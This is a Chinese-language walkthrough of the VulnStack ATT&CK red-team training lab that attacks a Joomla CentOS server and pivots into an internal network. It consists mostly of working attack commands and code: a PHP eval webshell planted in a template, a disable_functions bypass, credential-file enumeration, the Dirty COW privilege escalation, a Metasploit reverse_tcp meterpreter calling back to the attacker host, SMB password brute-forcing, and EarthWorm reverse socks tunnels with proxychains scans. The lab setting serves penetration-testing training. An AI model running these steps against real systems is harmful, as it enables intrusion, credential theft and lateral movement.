ATT&CK红队实战靶场介绍:
开源靶场VulnStack是由国内红日安全团队打造一个靶场知识平台。靶场设计思路来源ATT&CK红队评估模式,从漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场 虚拟机所有统一密码:hongrisec@2019
ATT&CK红队实战靶场下载:
链接:https://pan.baidu.com/s/1OyqTuQKwplpYOtVrngRazw?pwd=kh5a 提取码:kh5a
ATT&CK红队实战靶场环境搭建:
靶机ip | 类型 |
---|---|
(IP:172.16.5.125) | kali攻击机 |
(网卡1:172.16.5.120 //网卡2:192.168.93.100) | Centos服务器 |
(IP:192.168.93.120) | Ubuntu服务器 |
(IP:192.168.93.10) | server2012服务器 |
(IP:192.168.93.20) | server2008服务器 |
(IP:192.168.93.30) | win7服务器 |
PS:Centos
需要添加一张网卡,172.16.5
网段需要桥接 192.168.93
的网段 NAT
模式即可。
ATT&CK红队实战靶场渗透详解:
①:信息收集
1.1主机探测
kali里使用netdiscover
发现主机
1.2 端口扫描
使用命令:
nmap -sS -A -n -T4 172.16.5.120
发现开启了22,80,3306
端口,访问80
端口页面(页面有点似曾相识)
1.3 信息收集
使用Wappalyzer
可以得知是一个Joomla
的CMS
系统 也可以使用whatweb
网站指纹工具进行探测。
使用 dirb
进行目录扫描 查看robots.txt
发现后台/administrator/
可以看出目录泄露了。
访问1.php
和configuration.php~
这里获取到了账号和密码
这里要使用 JoomScan
进行探测(之前文章讲过安装和下载这里直接使用了)获取到版本号3.9.12
Github项目:https://github.com/OWASP/joomscan
perl joomscan.pl --url 172.16.5.120
使用本地漏洞库搜索 searchsploit joomla 3.9.12
发现这个43488.txt
没有可以利用的
②:恢复重置Mysql管理员密码
使用Navicat for MySQL
进行连接(第一次用!这样方便看 执行命令还是要连接数据库的)
使用官方文档恢复或重置管理员密码:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password?/zh-cn
添加一个账号admin2
密码secret
的用户 然后尝试登入 发现登入成功!!!
mysql -h 172.16.5.120 -u testuser -p
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
③:漏洞利用&Joomla后台Getshell
1.1上传一句话木马
登陆后在extensions>Templates>Templates>
新建一个shell1.php
<?php @eval($_POST['a']);?>
使用蚁剑连接 http://172.16.5.120/templates/beez3/shell1.php
连接成功!!
1.2绕过disable_functions
进入终端 发现没有回显 只有一个ret=127
可能是disable_functions
被禁用了
需要插件完成但是这里需要设置代理才能访问 直接下载好 拖进去也可以 antswork/antData/plugins
目录下 重启蚁剑即可。
Github:https://github.com/Medicean/as_bypass_php_disable_functions
会生成一个.antproxy.php
的文件,创建个副本 然后把文件添加上去就成功绕过了。
具体不会绕过的可以看这个视频:https://mp.weixin.qq.com/s/GGnumPklkUNMLZKQL4NbKg
④:内网渗透
1.1内网信息收集
1、获取内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -m 内核架构
cat /etc/*-release 发布信息
cat /etc/issue 发布信息
cat /proc/version 内核信息
2.同户和组
cat /etc/passwd 系统所有用户
cat /etc/group 系统所有组
cat /etc/group 所有用户hash(需要root权限)
finger、finger user 当前登录的用户、查询用户的基本信息
3、用户和权限信息
cat /etc/sudoers 可以使用sudo提升到root的用户(需要root权限)
sudo -l 列出目前用户可执行与无法执行的指令
4、环境信息
env 或 set 打印系统环境信息
echo $PATH 环境变量中的路径信息
cat /etc/profile 显示默认系统遍历
cat /etc/shells 显示可用的shell
5、有用的命令
find / -perm -4000 -type f 查找SUID的文件
find / -uid 0 -perm -4000 -type f 查找root权限的SUID文件
find / -perm -2 -type f 找出可写的文件
find / ! -path "/proc/" -perm -2 -type f -print 查找/proc以外的可写文件
find / -perm -2 -type d 找出可写目录
6、服务信息
ps aux 查看进程信息
cat /etc/inetd.conf 由inetd管理的服务列表
cat /etc/xinetd.conf 由xinetd管理的服务列表
cat /etc/exports nfs服务器的配置
7、作业和任务
crontab -l -u %username% 显示指定用户的计划作业(需要root权限)
ls -la /etc/cron* 计划任务
top 列出当前进程
8、网络、路由和通信
/sbin/ifconfig -a 列出网络接口信息
cat /etc/network/interfaces 列出网络接口信息
arp -a 查看系统arp表
route 打印路由信息
netstat -an 打印本地端口开放信息
iptables -L 列出iptable的配置规则
cat /etc/services 查看端口服务映射
9、软件信息
dpkg -l 软件安装(Debian)
rpm -qa 软件安装(Red Hat)
sudo -V 查看sudo的版本信息
这里还有自动探测的内网信息收集需要使用:LinEnum
(第一次用!!)需要过一会,会生成一个 以时间命名的文件夹 。
Github项目:https://github.com/rebootuser/LinEnum
chmod 777 LinEnum
./ LinEnum.sh
- etc-export:该用户的配置文件
- sgid-files:系统中具有sgid权限的文件
- suid-file:系统中具有suid权限的文件
1.2敏感信息收集
我们在/tmp/mysql
目录里面发现了一个test.txt
文件,在里面发现了一组用户名和密码(开启了22
端口可能是账号密码)
账号密码:wwwuser//wwwuser_123Aqx
尝试登入,发现登入失败,那就换个工具使用putty
发现登入成功!!
这边看了一下 有两个IP看来是目标网站是做了反向代理,将处于内网的Ubuntu
代理到了CentOS
上
1.3脏牛提权(CVE-2016-5195)
GitHub:https://github.com/FireFart/dirtycow
通过 WinSCP
把dirty.c
上传到/tmp
目录下(这里也可以使用别的方法进行上传)
gcc -pthread dirty.c -o dirty -lcrypt #//编译生成 dirty 可执行文件
rm -rf passwd.bak ## 删除之前的
./dirty test #设置的密码
su firefart #登入 提权成功!!!
执行 ./dirty test
提权生成passwd.bak
文件 切换用户即可得到root
权限。
1.4 内网渗透 msf监听端口
为了内网渗透扫描到192.168.93.0/24
网段内主机的相关信息,我们要通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接 也可以使用msfvenom
生成木马,都可以哪个方便用哪个!
use exploit/multi/script/web_delivery #使用模块
show target #查看需要设置的系统
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 172.16.5.125 #设置本机IP
set lport 4444 #设置监听端口
exploit #运行
sessions -i1
1.5内网主机探测,爆破smb密码
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
use auxiliary/scanner/smb/smb_login
set SMBUSER administrator
set PASS_FILE /root/pass.txt
set rhosts 192.168.93.20
run
这里由于没有字典 看了一下密码是(自己的字典爆不出来):zxcASDqw123!!
1.6路由转发Sock代理
路由转发只能将msfconsole
带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks
代理。
我们使用earthworm
搭建socks5
反向代理服务。
先内网网段扫描一下 :run post/multi/gather/ping_sweep RHOSTS=192.168.93.0/24
添加路由:run post/multi/manage/autoroute CMD=autoadd
GitHbu地址:https://github.com/idlefire/ew
#客户端
./ew_for_linux64 -s rssocks -d 172.16.5.125 -e 8888
``#172.16.5.125 是攻击者kali的IP地址
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
#将1080端口监听到的本地数据转发到 web服务器的8888端口
# 通过1080端口,将本地流量转发出去
#rcsocks、rssocks 用于反向连接
#ssocks 用于正向连接
# -l 指定本地监听的端口
# -e 指定要反弹到的机器端口
# -d 指定要反弹到机器的IP
# -f 指定要主动连接的机器 ip
# -g 指定要主动连接的机器端口
# -t 指定超时时长,默认为 1000
proxychains
配置代理:
vim /etc/proxychains.conf #代理配置文件
socks4 127.0.0.1 8888 #最后面添加
⑤:横向移动
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.10
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.20
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.93.30